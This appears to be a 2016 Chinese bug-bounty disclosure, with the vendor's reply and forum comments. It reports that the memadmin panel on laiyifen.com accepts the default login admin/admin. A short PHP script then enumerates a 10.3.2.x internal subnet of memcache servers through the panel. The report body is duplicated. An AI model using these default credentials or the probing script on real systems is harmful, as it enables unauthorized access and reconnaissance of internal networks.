来伊份主站memcache未授权访问可探测内网（附测试脚本）

URL:

http://www.laiyifen.com/memadmin/index.php

来一份主站，memcache管理后台

admin admin 成功登陆

这里可以添加内网IP，从而探测内网主机存活状态

经过前人思路指点，加上抓包流量分析，点击开始管理，抓包

在经过url解码，即可找出规律。

这里利用10.3.2.X这个网段来测试，shell脚本不会，就自己写了个php的，将所有的c段添加到管理，成功

最后就简单了，遍历num参数爆破，成功探测到一台主机

相信你们内网不止这一台memcache服务器，这里证明即可，就难得去一一探测了。危害你们更懂。。

利用脚本

<?php
  $str1='data[0][con][0][num]=255&';
 
  $str3='data[1][conp][0][num]=0';
  
  for($i=0;$i<255;$i++){
   $str2='data[0][con][0][cons]['.$i.'][name]=n'.$i.'&data[0][con][0][cons]['.$i.'][host]=10.3.2.'.$i.'&data[0][con][0][cons]['.$i.'][port]=11211&data[0][con][0][cons]['.$i.'][ispcon]=0&data[0][con][0][cons]['.$i.'][timeout]=1&';
   $str1.=$str2;
  }
  
  $str1.=$str3;
  
  echo $str1;
 ?>

写的太菜，大牛勿喷。。

URL:

http://www.laiyifen.com/memadmin/index.php

来一份主站，memcache管理后台

admin admin 成功登陆

这里可以添加内网IP，从而探测内网主机存活状态

经过前人思路指点，加上抓包流量分析，点击开始管理，抓包

在经过url解码，即可找出规律。

这里利用10.3.2.X这个网段来测试，shell脚本不会，就自己写了个php的，将所有的c段添加到管理，成功

最后就简单了，遍历num参数爆破，成功探测到一台主机

相信你们内网不止这一台memcache服务器，这里证明即可，就难得去一一探测了。危害你们更懂。。

利用脚本

<?php
  $str1='data[0][con][0][num]=255&';
 
  $str3='data[1][conp][0][num]=0';
  
  for($i=0;$i<255;$i++){
   $str2='data[0][con][0][cons]['.$i.'][name]=n'.$i.'&data[0][con][0][cons]['.$i.'][host]=10.3.2.'.$i.'&data[0][con][0][cons]['.$i.'][port]=11211&data[0][con][0][cons]['.$i.'][ispcon]=0&data[0][con][0][cons]['.$i.'][timeout]=1&';
   $str1.=$str2;
  }
  
  $str1.=$str3;
  
  echo $str1;
 ?>

写的太菜，大牛勿喷。。

限制访问

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2016-03-11 10:04

厂商回复：

谢谢大家的支持，我们尽快修复，非常感谢！

最新状态：

暂无

1. 2016-03-10 17:36 | 爱上平顶山 ( 核心白帽子 | Rank:3144 漏洞数:625 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

   2

   这个有意思

   1# 回复此人

2. 2016-03-10 17:38 | 牛 小 帅 ( 普通白帽子 | Rank:1597 漏洞数:386 | bye)

   1

   @爱上平顶山 确实呀 那个脚本写的有点意思

   2# 回复此人

3. 2016-03-10 17:48 | 镱鍚 ( 普通白帽子 | Rank:302 漏洞数:42 | 执手岁月留香，唱曲往事飞扬...)

   1

   @爱上平顶山 @ 牛 小 帅 大牛们，求不喷

   3# 回复此人

4. 2016-03-10 17:57 | he1renyagao ( 普通白帽子 | Rank:235 漏洞数:31 | 是金子总会发光，在还未发光之前，先磨磨)

   1

   来学学 memcache 怎么探测内网，之前遇到过，只是一些信息泄露。

   4# 回复此人

5. 2016-03-10 18:05 | sauce ( 普通白帽子 | Rank:285 漏洞数:46 | 面向人民币编程)

   1

   每天来来伊份

   5# 回复此人

6. 2016-03-10 18:09 | 小川 ( 核心白帽子 | Rank:1627 漏洞数:241 | 一个致力要将乌云变成搞笑论坛的男人)

   1

   memcache里竟然有这样的地址

   6# 回复此人

7. 2016-03-10 18:20 | Taro ( 普通白帽子 | Rank:349 漏洞数:86 | 走向最远的方向，哪怕前路迷茫；抱着最大的...)

   1

   我是来看脚本的

   7# 回复此人

8. 2016-03-10 18:24 | 镱鍚 ( 普通白帽子 | Rank:302 漏洞数:42 | 执手岁月留香，唱曲往事飞扬...)

   1

   @he1renyagao 其实就是信息泄露，标题党罢了

   8# 回复此人

9. 2016-03-10 18:30 | ShAdow丶 ( 普通白帽子 | Rank:121 漏洞数:19 )

   1

   这个脚本确实有意思 哈哈

   9# 回复此人

10. 2016-03-10 19:27 | _Thorns ( 普通白帽子 | Rank:1754 漏洞数:269 | 以大多数人的努力程度之低，根本轮不到去拼...)

    1

    memcache未授权访问可探测内网？来学姿势。

    10# 回复此人

11. 2016-03-10 19:37 | 镱鍚 ( 普通白帽子 | Rank:302 漏洞数:42 | 执手岁月留香，唱曲往事飞扬...)

    1

    @_Thorns 大牛见笑了，并不能探测内网，只能判断下内网memcache服务器的存活状态罢了

    11# 回复此人

12. 2016-03-10 21:26 | Dleo ( 普通白帽子 | Rank:194 漏洞数:48 | talent)

    1

    @镱鍚 大牛 别忘了带小弟飞

    12# 回复此人